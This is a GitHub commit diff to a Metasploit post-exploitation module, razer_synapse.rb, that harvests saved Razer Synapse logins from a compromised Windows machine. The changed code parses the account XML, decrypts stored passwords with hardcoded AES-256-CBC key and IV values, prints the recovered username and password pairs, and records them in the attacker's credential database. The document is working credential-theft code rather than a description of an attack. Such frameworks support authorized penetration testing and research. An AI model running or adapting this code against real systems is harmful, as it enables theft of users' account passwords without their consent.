Skip to content

Commit b349549

Browse files
committed
Land rapid7#5464, @wchen-r7 Updates razer_synapse to use the new cred API
2 parents 80f6e90 + 6d2b7e0 commit b349549

File tree

1 file changed

+80
-42
lines changed

1 file changed

+80
-42
lines changed

modules/post/windows/gather/credentials/razer_synapse.rb

Lines changed: 80 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -38,59 +38,85 @@ def initialize(info={})
3838
))
3939
end
4040

41+
def is_base64?(str)
42+
str.match(/^([A-Za-z0-9+\/]{4})*([A-Za-z0-9+\/]{4}|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{2}==)$/) ? true : false
43+
end
44+
4145
# decrypt password
42-
def decrypt(hash)
46+
def decrypt(pass)
47+
pass = Rex::Text.decode_base64(pass) if is_base64?(pass)
4348
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
4449
cipher.decrypt
4550
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
4651
cipher.iv = "ryojvlzmdalyglrj"
4752

48-
hash.each_pair { |user,pass|
49-
pass = pass.unpack("m")[0]
53+
pass = pass.unpack("m")[0]
54+
password = cipher.update pass
55+
password << cipher.final
5056

51-
password = cipher.update pass
52-
password << cipher.final rescue return nil
57+
password
58+
end
5359

54-
store_creds(user, password.split("||")[1])
55-
print_good("Found credentials")
56-
print_good("\tUser: #{user}")
57-
print_good("\tPassword: #{password.split("||")[1]}")
60+
def report_cred(opts)
61+
service_data = {
62+
address: opts[:ip],
63+
port: opts[:port],
64+
service_name: opts[:service_name],
65+
protocol: 'tcp',
66+
workspace_id: myworkspace_id
5867
}
59-
end
6068

61-
def store_creds(user, pass)
62-
if db
63-
report_auth_info(
64-
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
65-
:port => 443,
66-
:ptype => 'password',
67-
:sname => 'razer_synapse',
68-
:user => user,
69-
:pass => pass,
70-
:duplicate_ok => true,
71-
:active => true
72-
)
73-
vprint_status("Loot stored in the db")
69+
credential_data = {
70+
post_reference_name: self.refname,
71+
session_id: session_db_id,
72+
origin_type: :session,
73+
private_data: opts[:password],
74+
private_type: opts[:type],
75+
username: opts[:user]
76+
}
77+
78+
if opts[:type] == :nonreplayable_hash
79+
credential_data[:jtr_format] = 'odf-aes-opencl'
7480
end
81+
82+
credential_data.merge!(service_data)
83+
84+
login_data = {
85+
core: create_credential(credential_data),
86+
status: Metasploit::Model::Login::Status::UNTRIED,
87+
}.merge(service_data)
88+
89+
create_credential_login(login_data)
7590
end
7691

7792
# Loop throuhg config, grab user and pass
78-
def parse_config(config)
79-
if not config =~ /<Version>\d<\/Version>/
80-
creds = {}
81-
cred_group = config.split("</SavedCredentials>")
82-
cred_group.each { |cred|
83-
user = /<Username>([^<]+)<\/Username>/.match(cred)
84-
pass = /<Password>([^<]+)<\/Password>/.match(cred)
85-
if user and pass
86-
creds[user[1]] = pass[1]
87-
end
93+
def get_creds(config)
94+
creds = []
95+
96+
return nil if !config.include?('<Version>')
97+
98+
xml = ::Nokogiri::XML(config)
99+
xml.xpath('//SavedCredentials').each do |node|
100+
user = node.xpath('Username').text
101+
pass = node.xpath('Password').text
102+
type = :password
103+
begin
104+
pass = decrypt(pass)
105+
rescue OpenSSL::Cipher::CipherError
106+
type = :nonreplayable_hash
107+
end
108+
creds << {
109+
user: user,
110+
pass: pass,
111+
type: type
88112
}
89-
return creds
90-
else
91-
print_error("Module only works against configs from version < 1.7.15")
92-
return nil
93113
end
114+
115+
creds
116+
end
117+
118+
def razerzone_ip
119+
@razerzone_ip ||= Rex::Socket.resolv_to_dotted("www.razerzone.com")
94120
end
95121

96122
# main control method
@@ -104,11 +130,23 @@ def run
104130
contents = read_file(accounts)
105131

106132
# read the contents of file
107-
creds = parse_config(contents)
108-
if creds
109-
decrypt(creds)
110-
else
111-
print_error("Could not read config or empty for #{user['UserName']}")
133+
creds = get_creds(contents)
134+
unless creds.empty?
135+
creds.each do |c|
136+
user = c[:user]
137+
pass = c[:pass]
138+
type = c[:type]
139+
140+
print_good("Found cred: #{user}:#{pass}")
141+
report_cred(
142+
ip: razerzone_ip,
143+
port: 443,
144+
service_name: 'http',
145+
user: user,
146+
password: pass,
147+
type: type
148+
)
149+
end
112150
end
113151
end
114152
end

0 commit comments

Comments
 (0)